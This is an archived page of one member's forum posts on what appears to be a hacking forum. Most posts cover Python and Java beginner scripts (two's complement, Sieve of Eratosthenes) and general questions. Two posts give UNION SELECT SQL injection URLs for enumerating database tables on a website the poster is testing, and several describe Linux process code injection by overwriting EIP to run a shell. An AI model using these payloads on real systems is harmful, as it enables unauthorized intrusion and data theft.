This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - $Clone

Pages: [1] 2 3 ... 5
1
General discussion / HApy NeW yEAr
« on: January 02, 2016, 08:23:15 PM »
Before the feel ends,... happy new year to all members hope to learn more this year!  ;D ;D

2
Scripting Languages / Binary,One's,Two's Complement conversion
« on: December 18, 2015, 07:14:18 PM »
hey there!...... for those learning about how negative numbers are computed in your computer am sure you have
heard of one's,two's complement......https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html
So i did a little python script to do all this conversions.Please Note i know some of this stuff can be done through |,&,^ operators not to mention python built in functions i just did this to show how the inner workings of the conversions can be done as per me  ;)
Before taking a look check out http://artsites.ucsc.edu/ems/music/equipment/computers/bits_bytes/bits_bytes.html

Code: (Python) [Select]

#try 1-127......(-ve)
#e.g.-13,-16,-17,-5 etc
print"-----------------------------------------------------"
print"Change from binary to one's and two's complement"
print"-----------------------------------------------------"
print"-----------------------------------------------------"
try:
result=[]
numb=input("Enter number:")
numb=abs(numb) #convert to positive number
except:
print("Digits only!")
else:
#get binary form you can use bin()....no biggy!
while numb!=0:
if numb%2==0:
result.append(0)
numb=numb//2
else:
result.append(1)
numb=numb//2
result.reverse() # get reversed form
sizeL=len(result)

#change to hex
if sizeL!=4:
size=8-sizeL
else:
size=4
for i in range(size):
result.insert(i,0)
print "(+)Binary form:",str(result).strip("]").strip("[").replace(",","")
#convert to one's complement
for i in range(8):
if result[i]==1:
result.pop(i)
result.insert(i,0)
else:
result.pop(i)
result.insert(i,1)
print "(+)One's complement:",str(result).strip("]").strip("[").replace(",","")
#convert to two's complement
twoC=range(8)
twoC.reverse()
for i in twoC:
if int(result[i])==1:
result.pop(i)
result.insert(i,0)
else:
result.pop(i)
result.insert(i,1)
break;
print "(+)Two's complement:",str(result).strip("]").strip("[").replace(",","")
print"-----------------------------------------------------"
print"\t\t\tEND"
print"-----------------------------------------------------"



Don't be dumb to try -257  ::) try 1 to any 8bits form! .....but can be modified to have more bits.......
The largest number you can represent with 8 bits is 11111111, or 255 in decimal notation,00000000 is the smallest. You can only represent 256 things with a byte.

3
General discussion / Linux mem :nject:on
« on: November 29, 2015, 04:37:13 AM »
hey guys I trying to find ways to do injection in Linux check out at https://github.com/KKamaa/
also how else have you guys done injection on nix..... I am currently working on a Linux version of
windows CreateRemoteThread()....will be out soon... :)

4
Scripting Languages / Re: Sieve of Eratosthenes
« on: October 29, 2015, 10:14:53 PM »
We had a challenge on that: https://evilzone.org/weekly-challenge/challenge-17-sieve-of-eratosthenes/
Damn! did see that thread..... nicely  done in c/c++ i guess i don't need to do it again!

5
Scripting Languages / Sieve of Eratosthenes
« on: October 29, 2015, 07:35:20 PM »
So am studying cryptography and in cryptography we deal with prime numbers and am sure there many way to get prime numbers but i thought i implement Sieve of Eratosthenes wiki https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes
Here is my code in python and also Java:

Python sample
Code: (Python) [Select]
print"*****************************************************"
print"\t\tSieve of Eratosthenes"
print"*****************************************************"
num=raw_input("||Enter a number:")
num=int(num)
result=range(2,num)
print"||-----------------------------"
print"||Prime numbers between 0-",num
print"||-----------------------------"

for i in result:
for j in result:
if j!=i and j%i==0:
result.pop(result.index(j))


print "||PRIME NUMBERS:",result
print"||------------------------------"
print"*****************************************************"





Java sample
Code: (Java) [Select]
import java.util.Scanner;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
class PrimeNo{
public static void main(String... args){
int num;
Scanner input=new Scanner(System.in);
System.out.println("***********************************************");
System.out.println("\t\tSieve of Eratosthenes");
System.out.println("***********************************************");
System.out.println("||Find Prime Numbers");
System.out.println("||---------------------------------------------");
System.out.print("||Enter range:");
num=input.nextInt();
List<Integer> range=new CopyOnWriteArrayList<Integer>();
for(int i=2;i<num;i++)
{
range.add(i);
}

for(int i:range)
{
for(int j:range)
{
if(j!=i && j%i==0)

range.remove(range.indexOf(j));


}
}
}
System.out.println("||---------------------------------------------");
System.out.println("||---------------------------------------------");
System.out.println("||PRIME NOs:"+range);
System.out.println("||---------------------------------------------");
System.out.println("||---------------------------------------------");
System.out.println("***********************************************");
System.out.println("***********************************************");
}
}


6
Scripting Languages / Re: Major Diff between python3 and python2
« on: October 17, 2015, 11:59:43 PM »
I see....so basically they are hoping people will transition from python2 to python3.But if you think about it its kinda silly to have two versions of the same thing....Instead they could have just made the changes to python2 and move on....anyway i love python so i guess learning both ain't bad

7
Scripting Languages / Major Diff between python3 and python2
« on: October 17, 2015, 02:31:10 PM »
I know google can help... ::) ::)..but i wanted to get a real insight of guys who were once python2 lovers but have now cheated with python3....What are the major programming difference other than print having brackets().And also why python3 and not python2....lets make this a final discussion on the topic  :D

8
General discussion / Re: Merging Videos
« on: September 16, 2015, 06:22:08 AM »
thnx guys 4 the advice

9
General discussion / Re: Merging Videos
« on: September 13, 2015, 11:49:33 PM »
Deque this is what i mean https://www.youtube.com/watch?v=PdyACzj1qz0 but for linux

Thnx

10
Java / Java "C" Extension
« on: September 12, 2015, 04:52:17 AM »
I got python C extension covered but i seem not to find a good tutorial on Java C extensions.I can any one point to me where i can find a good tutorial on java C extending.

11
General discussion / Merging Videos
« on: September 12, 2015, 04:42:09 AM »
hey .....what are some of the linux video softwares that can merge two videos together into 1 and is there a tut to do this?

12
Scripting Languages / Re: Python Linux Code Injection
« on: September 03, 2015, 09:10:36 PM »
nah you need to start a program from terminal eg firefox the get its pid......using the pid write the EIP reg to execute the shell

13
Scripting Languages / Python Linux Code Injection
« on: September 03, 2015, 07:58:44 PM »
hey there i did a linux code injection on Rohitab ,so i decided to do a python C extension of it .,since guys there are C/C++ Asm nerds but here python is loved much so.
https://github.com/KKamaa/Python-Injector
You can build your own setup script!....test it

14
Web Oriented Coding / Re: sqli error
« on: July 20, 2015, 12:11:53 PM »
actually i notice once you get the vul tables you just put
www.example.com/index.php?id=null UNION SELECT 1,table_NAME,3,4,5,6,7,8,9,10 from information_schema.tables-- and it worked fine

15
Web Oriented Coding / sqli error
« on: July 19, 2015, 05:35:12 AM »
hey there am try to test for sqli in a website where i have found table to be vulnerable. the url is
http://www.example.com/test.php?id=null UNION SELECT 1,group_concat(table_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database--

i get error:

Code: [Select]
invalid query: You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '-' at line 1
i have tried removing the -- but i don't get how??/ :-\ its not working.....

Pages: [1] 2 3 ... 5


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.